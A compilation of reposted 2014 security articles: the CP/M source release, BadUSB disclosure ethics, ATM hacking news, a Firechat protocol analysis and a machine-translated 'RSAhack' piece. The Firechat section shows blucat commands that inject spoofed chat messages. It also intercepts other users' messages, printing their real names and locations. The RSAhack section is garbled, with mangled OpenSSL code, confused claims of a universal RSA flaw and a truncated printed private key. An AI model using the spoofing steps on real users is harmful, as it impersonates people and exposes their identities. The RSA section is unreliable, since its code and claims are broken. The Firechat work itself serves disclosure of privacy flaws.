[h=1]CP/M Source Code Released[/h] October 6, 2014 By Adam Fabio Leave a Comment To celebrate the 40th anniversary of CP/M, the Computer History Museum has released a package containing early source code for several versions of CP/M. Originally designed by [Gary Kildall] in 1973, Control Program for Microcomputers (CP/M) is an early operating system for microprocessor based computers. The OS was originally written for the Intel Intellec 8, an Intel 8008 based computer. Since it was on an Intel machine, CP/M was written in PL/M (Programming Language for Microcomputers), a language [Kildall] had previously developed for Intel . CP/M pioneered the idea of a ROM based Basic Input Output/System (BIOS) for commonly used routines on a given computer. The use of BIOS made CP/M easy to port. Eventually it was ported to thousands of different machines and architectures, including the Altair, IMSAI 8080, C-64, and C-128 and Apple II systems. Gary and his company Digital Research, were one of the top contenders for the operating system on IBM’s new personal computer. Ultimately, Microsoft got the job by purchasing 86-DOS from Seattle Computer Products. Somewhat ironically, 86-DOS itself was written based on the CP/M Application Programming interface (API). The source itself is an amazing trip back in time. Included are portions of CP/M 1.1, 1.3, 1.4, and 2.0. Portions of CP/M have been released previously. As with the previous files, this version includes modifications performed by z80-pack author [udo Munk] in 2007. Version 1.3 is especially interesting as it is primarily scanned copies of the CP/M source code. If you’re into vintage computing, and know how important CP/M was to the early days of personal computers, check out the CP/M source. If you find any interesting or clever bits of code, be sure let us know about it in the comments. [image Source: CulturaInformatica] Sursa: CP/M Source Code Released

On the Ethics of BadUSB Oct 3rd, 2014 Last Friday, Brandon Wilson and I gave a talk on BadUSB at DerbyCon - I wrote some about it yesterday. Yesterday, Wired published an article on the talk, kicking off several others - only the authors of the Wired and Threatpost articles contacted us for input. There has been some questions raised as to the responsibility of releasing the code - so I want to take a few minutes to talk about what we released, why, and what the risks actually are. What we released. We released a two patches to the existing (v1.03.53) firmware for the Phison 2251-03, and a minimal custom firmware for that same chip. The Patches First, let me briefly describe the patches: Hidden Partition - A patch to create a second hidden partition, to show that data can be hidden, and not easily accessed unless you know the trick. Password Bypass - A patch to modify the password protection mechanism to force the password to fixed value; so that any password will be accepted. Must be applied before the password is set by the user. The second patch does defeat a “security” mechanism on the device, though given that the patch must be applied before the password is set - it’s not a huge risk to users. We intentionally focused on changing behavior instead of adding composite devices, to show that the is more complex than what was displayed at the Black Hat talk. So we’ve bypassed one security feature, and added a new feature. The patches were carefully selected to make the point, while not endangering users. The Custom Firmware The custom firmware acts a HID device, typing out a pre-programmed payload when inserted to a computer. This is anything but new - this can be done with a USB Rubber Ducky, a Teensy, or a number of other devices. This was released to prove the point that the device could be reprogrammed to be something completely different. If this is a new threat to anyone - they are very out of the loop. The Tools We also released a few tools that we developed to apply patches and to make our lives easier during the effort. Most of what they do is available in other tools from Phison or the device manufactures; we built the tools we needed, so we didn’t have to use third-party tools or deal with the limitations of those tools. What we DIDN’T release Now that we’ve talked about what was released, let’s talk about what it isn’t. Self replication - There’s no self replication code anywhere, while it’s possible that it could be done, and we’ve talked about how to do it - it won’t be released. I am confident that we (Brandon and I) could build a system that would infect PCs, then infect a significant percentage of thumb drives, and then infect other PCs - but, and this is a big but - what we released doesn’t make that easier in any significant way. Your average script kiddy will never be able to do it; there’s only a small number of people that would be able to do the work needed to be able to pull it off - those people could already do it before we released what we did. The threat of this happening is the same as it has always been. Malware - There’s nothing malicious about what we’ve released here. While we did release a patch to modify the password protection feature - that’s all it does. It doesn’t modify data, infect computers with anything, or anything of that nature. It changes the way a feature works. That’s it. This is a change that anyone with the required skills could have made - by making it public, we are raising awareness that users shouldn’t blindly trust. The end of USB as we know it - Nothing, nothing, that we’ve released has suddenly made new attacks possible. The USB specification allows composite devices to do unexpected things. USB devices (thumb drives or otherwise) that allow anyone to update the firmware without any checks, means that anything can potentially be reprogrammed to change functionality or become malicious. All of these things have been true long before we released the first line of code. Anyone that believes otherwise doesn’t understand the technology. An unfixable issue that will end the world - While there isn’t quick fix for this, things can be improved quite a bit. We released simple code, that proves the issue, draws attention to the fact that users need to be more careful, while being careful to not cause more harm than good in the process. This isn’t earth shattering. Anyone that thinks that it is, should probably give up and go live in a cave. The Risks What are the real risks here - what does this expose users to that it didn’t in the past? Writing code for these devices is far from easy, especially when trying to patch the existing firmware. It’s not something that just anyone can jump into - while we have made it easier for people to apply simple patches and provided some insight to the process, these aren’t the patches that will lead to a firmware based worm or something of that nature - these are the type of patches that will make small changes to existing features, or add simple new features. Even then, it’s time consuming and difficult work. So, to do anything still requires a lot of knowledge and skill - in general, as I said earlier, the kind of people that have what it takes to do this, could do it regardless of our release. If a person (or group) was so inclined to take one of these devices and make it truly malicious - it’s unlikely that our research would have an impact. I firmly believe that by releasing this code, the risk to the average user isn’t increased at all over what it already was. Why release? Device manufactures were quick to dismiss the “BadUSB” threat - on one hand, what was presented at Black Hat was possible via other means, so wasn’t really a new threat - but they showed no indication of trying to address the issues under their control. For years devices have been sold with updatable firmware, but with no security checks at all - we had two goals with the release of the code: User awareness - As long as users implicitly trust devices, attacks will be possible and successful. Push device manufactures to implement signed updates. While it will take years for any changes made by device manufactures to have an impact because of the number of devices in circulation now - if they keep ignoring the issue, then it will never be improved. In doing this, we haven’t broken the security of these devices, but made it clear that it isn’t existent. If anyone is upset that we’ve removed the obscurity that had “protected” these devices - then to them I’m sorry that they understand so little that they believe that it’s real protection. Part of the reason we released the “hidden partition” patch was to show that this can be used to add new features, that can add value in certain cases. The Full Disclosure debate When we started on this, we were concerned that this was being touted as a new threat, yet for defenders there was no way they could even test it, much less develop defense techniques. So not only do we have something that defenders can’t test, we have something that the device manufactures are downplaying or ignoring. This is the setup for the classic full disclosure debate. The first question that we asked ourselves, before we wrote the first line of code, is what is best for users? To allow the status quo to continue, or to expand the research into new directions and publish - to help make users aware and provide defenders something to work with. The answer we came up with, is that we could develop patches that would clearly communicate the issue, without causing undue harm to end users. In the end, looking at what we intended to release, what could be done that wouldn’t have been possible before that (which is fairly minimal), and the potential benefit - we felt, and still do, that full disclosure was appropriate. In everything we’ve done, the priority has been protecting users - any media report that indicates otherwise is ill-informed, and providing bad information to the public. Breaking out of the echo chamber Given that the issue was so well known, the amount of attention - positive and negative - that this has received has really surprised us. It’s too common that when something like this is released it stays within the infosec echo chamber - this has broken out far more than I expected. Most of the negative feedback has been from people and organizations that are well outside of the echo chamber - reminding me of just how ignorant the public can be when it comes to technical issues. There are times that I wonder why we work so hard to protect these people. Has this been blown out of proportion? Yes. Posted by Adam Caudill Oct 3rd, 2014 Sursa: https://adamcaudill.com/2014/10/03/on-the-ethics-of-badusb/

ATM hacking easily with RM100 chip and a free malware by Pierluigi Paganini on October 6th, 2014 Cybercrime expert explains anyone with technical knowledge, a malware and the help of an insider could easily hack an ATM machine. A RM100 chip, specific technical knowledge and a free malware obtained over the Internet is all the necessary to hack Automated Teller Machines (ATMs), this is the opinion of a cybercrime expert, which released an exclusive interview to the FMT (freemalaysiatoday.com). The cybercrime expert was invited to report in regard to a recent hacking case of 17 ATMs, a Latin American gang of cyber criminals was able to hack and steal millions of dollars from the automated teller machines in Malaysia. The hackers steal more than $1.2 million from ATMs of at least 17 bank branches belonging to United Overseas Bank, Affin Bank, Al Rajhi Bank and Bank of Islam were reportedly hacked into by the Latin American gang. The Closed-circuit television (CCTV) footage from the banks showed that 2-3 Latin American men entered and withdraw money from these targeted ATM machines. “What you need is a mastermind, a RM100 computer chip and possibly a bank ‘insider’ to execute the attacks.” he said. The 17 ATM hacks must be a warning for the banking industry that according to the expert is loosing field in the fight against cybercrime. “Banks should look into their security seriously, and not just for the sake of compliance.”“This mentality has to be changed to build security in the DNA of the bank.” A little information is needed to the attacker, the knowledge of the targeted system could be enough to compromise a banking ATM, all this information typically provided by insiders. “He (the hacker) will know where the locks and connections are, the model of the machine, the level of security and the version of the operating system.” explained the expert. The expert also pointed out the roles of the guys captured by the surveillance cameras at the bank “The guys caught on the CCTV are not the actual criminals.” “It’s like the ‘monkey see, monkey do’ situation. They can be shown what is supposed to be done without the need for any technical knowledge. They probably do not even know what they are doing.” According to the expert, the hack of an ATM machine could be very easy using malware easy to find in the underground, a security expert has no problem to wreak havoc on the actual banking system. “It is a simple attack as there are many free malware available online. And it is definitely something that the bank has to seriously think about.” Based on his experience in the sector, the expert highlighted the wrong approach of the banking industry in the protection of ATMs machines, in many cases these machines run out dates OSs, lack of patch management or they are poorly configured. The expert is very controversial with financial institutions, he explicitly refers to the results of a series of penetration tests conducted against banking systems that succeeded to breach the “The bank I worked for was not happy that we breached the system after doing a hacking” he said. “It’s either they wanted to ensure that we couldn’t find anything, or, they will hire incompetent people who will not find anything.” The results of the penetration testing session demonstrate the presence of several weaknesses in the banking systems, in many cases the ATMs were running on outdated operating systems like Windows XP. “Banks have been taking things for granted because nothing like this has ever happened before.” the expert added.“They depended heavily on the CCTV and in some locations, they do not even have security guards. The experts involved in the test also discovered many other serious flaws in the ATM, lack of encryption could expose sensitive data to tampering advantaging the hack of these machines with a malware based attack. “It is also because of the lack of encryption technology such as the Public Key Infrastructure (PKI). “If the PKI was implemented, it wouldn’t have happened.” he added Pierluigi Paganini Sursa: ATM hacking easily with RM100 chip and a free malware | Security Affairs

I recently discovered the existence of Firechat when I heard that it was being used by thousands of protester during the ongoing "Umbrella Revolution" in Hong Kong. Firechat is said to be a messaging app which, unlike whatsapp wechat or TextSecure, can communicate from one device to another directly, without using any existing Internet connection. Wireless has so much more to offer than just being a bridge to the Internet, especially right now where it is being more and more monitored. Wireless mesh networks offer an exiting alternative: a wild, disruptive and uncontrollable network. I love mesh network so I really wanted to know more about the Firechat app. Firechat hands on Firechat is developped by a start-up company called OpenGarden. This is not the first ad-hoc application they developed since they already provided an app called Open Garden enabling wireless multi-hop connectivity to the Internet. Firechat is their last and most widely used product and is actually being used in Hong Kong. So let's try it ! Sadly, Firechat is not Free Software and is not Open Source neither so the only way to download it was either from the GooglePlay (which I don't have) or to download the apk from a third party (which I don't recommand for obvious security reason). For the purpose of the test, I installed the APK and ran the application. Second disapointment, a registration is necessary to start chatting around and it requires an Internet connection. As shown on the three pictures above, it asks for the "Real Name" "Full Name" [ndlr: FIX 06-10], a surname and an email address. The good thing is that there is no email verification mechanism so you can just enter bullshit information and it is going to work. All the communication in Firechat are public so it is strongly advised to enter false information anyway. Third disapointment, an error message appears each time I load the main window to warn me that I don't have the Google Play Services which indeed I stripped from CyanogenMod (I try to be tracker-free and to only use free software). Despite of the warning, the application still runs and the interface is then very simple, your chatroom list is divided into three parts: Everybody/Nearby: chat with people nearby, either from Internet based location (Everybody mode) or from bluetooth-based physical connectivity (nearby mode) Joined rooms: the room you joined and for which you are participating Firechats: a list with all the room You can picture Firechat as an IRC server, you have a lot of peopled connected to it and you can create and join as many room as you want. Each time you join a new room, it will be added into your "Joined" set. I don't know if it is due to the absence of Google Play Service, but I didn't find a way to search for room which is very inconvenient since there are thousands of different rooms and only ten are being shown on the "Firechats" list. Hence, the normal mode of communication of Firechat requires Internet. Every room are in fact hosted on the Firechat server and need an Internet connection to communicate with. The Nearby room however is the exception as it is dedicated for real physical colocation based on the bluetooth and the WiFi devices. I was a bit confused as how the Everyone chatroom worked. Like the Nearby room, it allows to communicate with people around you but at a much larger scale. Based on your IP address, it will connect you with the users from the same country as you which is inconvenient because if you use a VPN (like me) Firechat will connect you with the users whom their IPs are in the same country than the outer end of the tunnel. Let's get our hand dirty and see how it works from a network point of view Firechat Nearby communication Bluetooth Obviously, the Nearby room is the most interesting since it involves an original mean of communication called "adhoc networks". Nearby communication requires that either or both WiFi and Bluetooth interface to be turned on. Firechat does not enable the bluetooth interface automatically so it need to be manually turned on and set visible to every device (by default it is only visible to paired device). This can be done in the setting like the two following image : Once Bluetooth is activated, Firechat will create two RFCOMM bluetooth channel. From my Laptop, I use the awesome blucat tool to scan and interact with the channels (like netcat but for bluetooth): [root@archlinux:~] [sam. oct. 04 07:49:20] $ hciconfig hci0 up [root@archlinux:~] [sam. oct. 04 07:49:20] $ blucat devices Searching for devices +,3C8BFE5CD657, "nameless", Trusted:false, Encrypted:false Found 1 device(s) [root@archlinux:~] [sam. oct. 04 07:49:46] $ blucat services 3C8BFE5CD677 Listing all services +,3C8BFE5CD677, "nameless", Trusted:false, Encrypted:false -,"Headset Gateway", "", btspp://3C8BFE5CD677:2 -,"Handsfree Gateway", "", btspp://3C8BFE5CD677:3 -,"AV Remote Control Target", "", btl2cap://3C8BFE5CD677:0017 -,"Advanced Audio", "", btl2cap://3C8BFE5CD677:0019 -,"", "", btl2cap://3C8BFE5CD677:0017 -,"Android Network Access Point", "", btl2cap://3C8BFE5CD677:000f -,"MAP SMS/MMS", "", btgoep://3C8BFE5CD677:4 -,"MAP EMAIL", "", btgoep://3C8BFE5CD677:5 -,"OBEX Phonebook Access Server", "", btgoep://3C8BFE5CD677:19 -,"OBEX Object Push", "", btgoep://3C8BFE5CD677:12 -,"", "", btspp://3C8BFE5CD677:15 -,"FireChat", "", btspp://3C8BFE5CD677: 6 most of the channels are quiet standard Android channels except for the last two which have been created by Firechat. I tried to connect to the last one called Firechat on bluetooth port 6 but I was not able to get any response from the application so I believe this is only a "beacon" to advertise the presence of a FireChat user to the neighborhood or maybe it is used to create multi-hop route I don't really know. The second channel on bluetooth port 15 is more interesting because this is were the communication takes place. So let's first connect to it using the following blucat command blucat -url and see what happens when I send a message to the Nearby room from the Firchat application (in order to make a distinction between send and receive message, i append the [received] and [send] tags): [root@archlinux:~] [sam. oct. 04 07:50:58] $ blucat -url btspp://3C8BFE5CD677:15 [received] {"t":246039.375,"uuid":"!'AX.]!F!+:KIGJO","user":"plopinou","msg":"Lorem ipsum","firechat":"Nearby","name":"plop"} As we can see from above, first the Android phone interactively asks for the user to accept the pairing, once it is done, every message sent from the Firechat app will be sent over the bluetooth channel on port 15 to every paired devices. So when I sent the "Lorem Ipsum" message from the Firechat app, I received a string on blucat which we recognize to be a JSON format to describe the data which are : t: timestamp in seconds uuid: a unique identifier for the message (probably an armored hash) user name: real name full name [ndlr: fix 06-10] of the user msg: the message to be sent to the room Firechat: the name of the chatroom name: the surname Most interestingly, it is pretty easy to communicate with Firechat Nearby room from a Linux computer using blucat by sending a JSON formatted string. Let's send the following string in blucat and see what happens : $ blucat -url btspp://3C8BFE5CD677:15 [...] [sent] {"t":246040.0,"uuid":"123456","user":"teletrollix","msg":"trololo","firechat":"Nearby","name":"generalol"} From the screenshot, the Firechat app display the "trololo" message sent from the user "teletrollix" which goes by the name "generalol". I tried sending ridiculous long string and there doesn't seem to have any limit to the size of the string we can send. A funny thing is that every message sent from the application to a room will be forwarded by bluetooth as well. So don't except the room to be private because even if you are only two in it, every message you send to the room are forwarded to the bluetooth users. For instance if I create a room "hdhdusuwhwhsudusbshsiw" and send the message "plop" from the Firechat app, it will appear in the blucat log !! $ blucat -url btspp://3C8BFE5CD677:15 [...] [received] {"t":254533.78125,"uuid":"=G95udh9s}#uhE","user":"plopinou","msg":"Plop","firechat":"hdhdusuwhwhsudusbshsiw","name":"plop"} N ow what happens, if I send a message using blucat to a random channel, will it get forwarded by the application to Internet to every user ? Well, even though the message does appear in the room from the Firechat App, it is not forwarded to the Internet. Take another example, from the Firechat app, I will send the "Hey Joe" message and will then send from Linux using blucat the message "IMPOSSIBRU" to the room "Everyone": $ blucat -url btspp://3C8BFE5CD677:15 [...] [received] {"t":246494.15625,"uuid":"zn4!Q#4S~#X5,-mQ","user":"plopinou","msg":"Hey joe","firechat":"Everyone","name":"plop"} [sent] {"t":246500.0,"uuid":"jhzfjff","user":"teletrollix","msg":"IMPOSSIBRU","firechat":"Everyone","name":"generalol"} From the previous image we understand the following things: Firechat app does not forward message received by Internet to the bluetooth. Blucat did get the Hey Joe message but didn't get Chun Lam's message "Hi" message sent by bluetooth to a random chatroom does appear in the firechat app (the IMPOSSIBRU message) is it forwarded to the internet users ? To be sure I used Wireshark to try to understand how does Firechat app communicate to its server that's where I discovered two interesting things. Firechat Server Using wireshark and filtering on the IP of my Android phone, I was able to determine that Firechat is sending message to two different IPs: 239.192.0.0 209.237.236.194 From the first IP, I understand that Firechat is also looking to create bond between WiFi device. It periodically sends UDP packet to the multicast address 239.192.0.0 and will also forward message just as it does with bluetooth. So not only every message sent are forwarded by bluetooth, they are also forwarded by WiFi ! This is actually quiet clever if we take into assumption that every message have to be public but I find it hard to swallow that they ask to provide a Real Name Full Name [ndlr: fix 06-10] given how it is wildly broadcasted and easy to intercept. Let's keep going, the second IP is actually the Firechat server and message are sent through an SSL connection to the port 4176. And now comes the big surprise that is, if I simply connect to this IP using OpenSSL, then plenty of messages starts raining : [nameless@archlinux:~] [sam. oct. 04 08:48:06] % openssl s_client -host 209.237.236.194 -port 4176 CONNECTED(00000004) depth=0 C = US, ST = California, L = San Francisco, O = "Open Garden, Inc", CN = firechat.opengarden.com verify error:num=18:self signed certificate verify return:1 depth=0 C = US, ST = California, L = San Francisco, O = "Open Garden, Inc", CN = firechat.opengarden.com verify return:1 [... Open SSL Connexion Log message ...]] {"firechat":"Everyone","t":33.188826,"name":"Dhiraj Chainani","user":"themagicalteddy","msg":"this is cool","uuid":"K@)&:6p3]t%xW#{p","loc":"Singapore","st":1412402798} {"t":247027.21875,"name":"plop","uuid":"*y7H[:hScJ43&X>d","user":"plopinou","msg":"It is","firechat":"Everyone","loc":"Singapore","st":1412402856} {"t":72723.0703125,"name":"Lance Wong","uuid":"[Q$|p6fwHJ<:(bE=,"user":"lancey","msg":"hello","firechat":"Everyone","loc":"Singapore","st":1412402869} {"loc":"Woodlands","firechat":"Everyone","t":488.515361,"name":"Eugene","user":"cybercat","msg":"Wat make u cool","uuid":"a7!^x_Nvn<(1,Md;","st":1412402888} {"t":247153.59375,"name":"plop","uuid":">BC.y4iS.poVSa,S","user":"plopinou","msg":"It just is","firechat":"Everyone","loc":"Singapore","st":1412402982} {"t":247672.375,"name":"plop","uuid":"v:t{qA|@Y}Gn? <+","user":"plopinou","msg":"LOREM IPSUM","firechat":"Everyone","loc":"Singapore","st":1412403501} {"t":248317.859375,"name":"plop","uuid":".qdWMiU%^IA,G}~u","user":"plopinou","msg":"Anybody ?","firechat":"Everyone","loc":"Singapore","st":1412404146} {"t":4886.49169921875,"name":"MeeSiamMaiHum","uuid":"[Y$S ?-yW(b-g1gL","user":"maihum","msg":":-)","firechat":"Everyone","loc":"Singapore","st":1412404580} {"name":"Lim Chee Aun","t":101.390309,"uuid":"y%VV+CJl5*b<","msg":"Test","firechat":"Everyone","user":"cheeaun","loc":"Singapore","st":1412404734} {"name":"Valerie","t":25.014198,"uuid":"'DYJkO9s.{}ax}","msg":"ðððð","firechat":"Everyone","user":"lerie86","loc":"Singapore","st":1412404860} As we can see from the image Above : Every message we sent to the room "Everyone" is easily intercepted by just connecting to the server with OpenSSL message sent by bluetooth to the "Everyone" room to a Firechat app are not Forwarded to the Internet (see how the message from generalol are not received on the SSL). Both my Android phone and my Laptop are connected to the Internet using my broadband modem. If now I configure both of them to use my VPN in order to get to the Internet from France, we then receive message from French people: [nameless@archlinux:~] [sam. oct. 04 08:48:06] % openssl s_client -host 209.237.236.194 -port 4176 [... Open SSL Connexion Log message ...]] {"firechat":"Everyone","t":2329.514754,"name":"Jbmdb","user":"jbmdb13","msg":"Tu as instagram ?","uuid":"q$){>5=xx_f0)oK%","loc":"Martigues","st":1412404607} {"loc":"Saint-Paulien","firechat":"Everyone","t":514.790329,"name":"Morgane","user":"morgane17","msg":"Non dsl","uuid":"u+Fo32Txr%n,5bB{","st":1412404634} {"name":"Bastian","t":493.515672,"uuid":"bzk&jZEmZR($","msg":"Slt tlm","firechat":"Everyone","user":"bastain37","loc":"Amboise","st":1412404770} {"firechat":"Everyone","t":2493.639984,"name":"Jbmdb","user":"jbmdb13","msg":"Ouki ni snap je pari ?","uuid":"Q>2nQxbGNW`KF@n","loc":"Martigues","st":1412404771} Conclusion Wireless device such as bluetooth or WiFi have so much more to offer than just providing a mobility area to the Internet. It is good news to see application like FireChat popularising this exciting communication paradigm. However in the current state FireChat suffer from several flows that makes it unsuitable for an event like "Umbrella Revolution". First the application is closed source and its internal mechanism are pretty difficult to understand at first. It is hard to fully comprehend wether a message goes public or stay locally. The lack of information regarding this matter makes it irresponsable to ask users to fill in their full name before using the application. During the study, we stressed that not only every message sent are broadcasted locally (both Bluetooth and Wifi) regardless of the room, but we also show how easy it was to intercept and send information from/to Firechat users. Given the political context of the Umbrella Revolution, I would advise people to stop using Firechat or at least try to avoid leaking any information that could link to their real identity. Sursa: firechat and nearby communication

Translated from: El blog de Nutrix | RSAhack RSAhack Posted by Cristian on 05/09/201411/09/2014 Amicelli As we all know, is one of the RSA asymmetric algorithms (Public and Private Key) used and best known in recent decades. It was created by Rivest, Shamir and Adleman in 1977, The safety of this algorithm lies in the problem of factoring integers. RSA algorithm The algorithm consists basically of three steps: Key Generation Based on two distinct prime numbers, to which they are known as "p and q", which are chosen randomly. Taking primes n is calculated, which is basically the product of "pq" which makes "n" (semiprime) in the module. Now once the module having the Euler function ? (n) = (p-1) (q-1) is used, and having this calculation proceeds to choose a public exponent which is known as "e" this has two particular be less than ? (n) and is also coprime of this, usually 65 537 is used. A number that is called "d" using modular arithmetic, where "d" must be the inverse modular multiplier "e" is then determined. Then we have that: The public key is made up of "n" and "e" and the private key is composed of "n", "d", "p", "q" and these modules. encryption Using the public key (nye) A message "c" is created (Encryption) c ? m (clear message) ^ e (mod n) decryption Using the private key (n, d, p, q) is obtained from c m m ? c (encrypted message) ^ d (mod n) attacks As we saw above seems complicated operation, although there are many complicated known attacks that can be performed partially. Cyclic Encryption: Be decrypted using the same key figure is the public key, by an attack that uses only data from the victim that are public. The problem is that we present ourselves then anyone who knows the keys used in the process of figure or key exchange, could theoretically recover the secret. Dual EC DRBG: It is a generator cryptographically secure pseudo-random numbers, which was developed by the National Security Agency (NSA) and later adopted by RSA Security in your kit Bsafe which adopted double elliptic curve. However, this Backdoor was discovered in 2007, and was detailed by security expert Bruce Schneier. Birthday Paradox Most interesting of all is that for the attack only need to have the public key values ??of the victim factoring: In number theory, integer factorization or prime factorization is to decompose a composite number (not prime) in non-trivial divisors, which when multiplied give the original number. In this type of attack is try to factor n into p and q, and (p-1) (q-1) calculated by allowing you to determine d and e. Where are RSA As previously mentioned this algorithm is well known and is not implemented in a number of places. OpenSSL GnuPG PGP OpenVPN ETC RSAhack In what is developing this tool basically abusing a flaw in the implementation of RSA in OpenSSL found in all versions, the attack is done by Brute Force is made. When OpenSSL generates an RSA key uses rsa_builtin_keygen function located within /crypto/rsa/rsa_gen.c static int rsa_builtin_keygen (RSA * rsa, int bits, bignum * E_value, BN_GENCB * cb) { Bignum * r0 = NULL, * r1 = NULL, * r2 = NULL, * r3 = NULL, * tmp; Bignum local_r0, local_d, local_p; Pr0 bignum *, * d, * p; int bitsp, bitsq, k = 1, n = 0; BN_CTX * ctx = NULL; BN_CTX_new ctx = (); if (ctx == NULL) goto err; BN_CTX_start (ctx); r0 = BN_CTX_get (ctx); r1 = BN_CTX_get (ctx); r2 = BN_CTX_get (ctx); r3 = BN_CTX_get (ctx); if (r3 == NULL) goto err; bitsp = (bits + 1) / 2; bitsq = bits-bitsp; / * We need the RSA components non-NULL * / if (! RSA-> n && ((RSA-> n = BN_new ()) == NULL)) goto err; if (! RSA-> d && ((RSA-> d = BN_new ()) == NULL)) goto err; if (! RSA-> e && ((RSA-> e = BN_new ()) == NULL)) goto err; if (! RSA-> p && ((RSA-> p = BN_new ()) == NULL)) goto err; if (RSA-> q && ((RSA-> q = BN_new ()) == NULL)!) goto err; if (RSA-> DMP1 && ((RSA-> BN_new DMP1 = ()) == NULL)!) goto err; if (RSA-> dmq1 && ((RSA-> BN_new dmq1 = ()) == NULL)!) goto err; if (RSA-> iqmp && ((RSA-> BN_new iqmp = ()) == NULL)!) goto err; BN_copy (RSA-> e, E_value); *********** In the portion of the code, we see that it has a bit and then divides by 2 the length of the key, this is done to determine the length of p and q, that is, for a 1024-bit key p and q will be prime numbers 512, 5 bits and 511.5 bits. What this means it helps ?, partly because the attack is that for a 1024-bit key numbers are 512 bits. Looking at other implementations in applications such as GnuPG have realized this and corrected the lines, so that the prime numbers are not the same length, which adds another layer of complexity. But however it is not all primes to perform Superpower we lack, if this becomes quite complicated but we have several options depending on the hardware you have, the better the quality of the task simpler calculation. But to start, we can use it and extract OpenSSL primes. I pass an example: genrsa -out key 1024 openssl This command generates an RSA key with OpenSSL 1024. openssl rsa key -in -text -out key2 This further allows us to pass the RSA key text which we get the following. Private-Key: (1024 bit) modulus: 00: c7: 76: 50: d1: 5f: d3: e1: fc: 31: 3f: 7d: e6: e0: 49: 28: 75: b6: 7e: 29: c3: 3a: 1d: ce: 46: 27: 1f: e5: 60: 9b: 2d: 26: 37: 75: 80: 94: 07: 7a: 05: 87: 45: 5d: d4: ad: 6f: ce: df: 26: 23: a1: 3d: 0f: 26: 92: 0a: from: 9b: 95: 07: 55: e8: 36: 4c: 92: bf: 99: 59: 22: 7a: a2: 22: 21: 82: 4b: 90: 06: 72: 4b: 46: c3: 3f: 32: b6: c8: 3a: b6: 3c: 2f: 7e: 3f: a2: 98: fc: 60: d7: 3b: aa: 35: 14: 13: 50: 68: 0a: 4c: 84: 71: 39: e4: 47: dd: dd: 7b: 86: 85: d3: f5: 0a: 86: 34: db: 47: b1: 00: 9d: 28: from: e2: 4d: ad publicExponent: 65537 (0x10001) privateExponent: 53: 69: 08: d6: e5: a9: e7: 60: dc: ff: 5e: 19: 04: 45: d3: a3: 96: 13: 20: 47: c1: af: e1: 28: b9: 07: bf: 96: 2c: 8e: 2e: e3: 16: 42: 14: a5: 23: c3: d8: 13: 8b: ef: 7a: 2f: bd: 64: d7: c0: 22: 97: 34: 14: bf: 11: c8: 91: 6b: 3a: cc: 13: f5: 51: 04: 34: 5a: 19: 8d: 3c: 3f: bd: a9: 5c: 98: 0d: bc: 56: f8: ea: 68: da: 1c: a9: a1: d0: 05: 83: 97: e9: 29: 41: 09: 5a: 8a: 9d: 03: be: 39: 5c: 11: 44: 9e: 7f: ac: 48: d3: a1: 64: 40: b1: 5d: 8a: f9: c3: 7e: c5: e6: the 9th: 80: 8a: 00: 86: 52: 0d: 27: 73: 98: 51: 01 prime1: 00: ee: 80: 9d: af: ee: 43: e1: 41: f9: 23: 53: 39: 54: 89: 13: 43: 3d: ef: c2: db: d2: 87: the 9th: 3c: 2c: a1: d9: d4: 88: 12: 03: c6: 96: db: 2e: 3b: 52: b0: a7: 9e: 44: 0a: dc: 9c: 06: 57: e1: 50: 7b: 1d: 1d: b7: d1: 68: 00: 36: 09: 51: 7c: a3: 53: 3c: fd: a1 Prime2: 00: d6: 18: 79: 3a: bf: 95: 28: 13: 06: 03: 11: 72: b7: 8b: 9f: 2a: 5d: ec: 1e: 7b: 89: 0b: 88: dd: 67: 8e: 55: 0b: ac: af: 56: 9c: 09: 6f: 8d: 79: d1: b3: 24: 79: 5f: 82: d6: b4: 70: 6e: a3: 93: c8: af: d7: 4a: a1: c0: a6: d2: f4: 7f: cf: 72: 3d: 6d 1c: 8d exponent1: 4b: 99: cd: 62: 45: 1e: 93: 3a: bc: 64: 6c: 2f: 12: 12: d9: 5e: 49: 35: c5: 08: b5: 35: 72: b8: 7c: 55: 59: 9d: 3a: fc: aa: e1: ba: 54: 03: d5: 9e: 22: 8d: 1f: 67: e6: 21: 83: fb: a6: c3: af: 25: 37: 57: 82: 3b: 08: c2: 78: 5e: 7f: cc: 08: 61: 8c: 45: c1 exponent2: 7e: ad: 22: 65: d1: 5f: b6: c3: 72: c6: 33: f7: b5: 84: 66: 5b: d2: 10: d8: 84: 6d: b5: 26: 79: 22: 41: c4: 2e: 51: 31: b9: c4: 3f: 8d: 02: 9f: b6: a5: 11: 8a: c3: 29: 8e: 52: 5b: 48: 0b: 7f: 70: ba: 22: 5f: a5: 4f: 71: 25: d6: c7: 1c: fe: 52: 3c: 12: 2d coefficient: 00: d6: fa: 86: 0c: ff: 5f: 8c: 3d: db: 74: b2: bd: ac: 84: 1b: 86: 16: b6: 24: 98: 0b: 5b: e8: 89: 90: 38: e2: 7c: 96: ee: 3b: c1: 0e: bc: eb: 66: 64: 16: ca: e7: 6c: 85: 0a: 7b: f2: ee: e7: 4a: 39: 9c: 66: 77: fd: 34: 77: 66: b7: d1: 51: a8: 55: ca: 5f: f3 ----- BEGIN RSA PRIVATE KEY ----- MIICXAIBAAKBgQDHdlDRX9Ph / DE / febgSSh1tn4pwzodzkYnH + Vgmy0mN3WAlAd6 BYdFXdStb87fJiOhPQ8mkgrem5UHVeg2TJK / mVkieqIiIYJLkAZyS0bDPzK2yDq2 PC9 P6KY + / GDXO6o1FBNQaApMhHE55Efd3XuGhdP1CoY020exAJ0o3uJNrQIDAQAB AoGAU2kI1uWp52Dc / 14ZBEXTo5YTIEfBr + EouQe / liyOLuMWQhSlI8PYE4vvei + 9 ZNfAIpc0FL8RyJFrOswT9VEENFoZjTw / valcmA28VvjqaNocqaHQBYOX6SlBCVqK OVwRRJ5 NQO + / + cN + rEjToWRAsV2K xeaagIoAhlINJ3OYUQECQQDugJ2v7kPhQfkj UzlUiRNDPe / C29KHmjwsodnUiBIDxpbbLjtSsKeeRArcnAZX4VB7HR230WgANglR fKNTPP2hAkEA1hh5Or + VKBMGAxFyt4ufKl3sHnuJC4jdZ45VC6yvVpwJb4150bMk C1rRwbqOTyK eV + / XSqHAptL0f89yPW0cjQJAS5nNYkUekzq8ZGwvEhLZXkk1xQi1 NXK4fFVZnTr8quG6VAPVniKNH2fmIYP7psOvJTdXgjsIwnhef8wIYYxFwQJAfq0i ZdFftsNyxjP3tYRmW9IQ2IRttSZ5IkHELlExucQ / jQKftqURisMpjlJbSAt / cloi UjwSLQJBANb6hgz X6VPcSXWxxz + / X4w923SyvayEG4YWtiSYC1voiZA44nyW7jvB 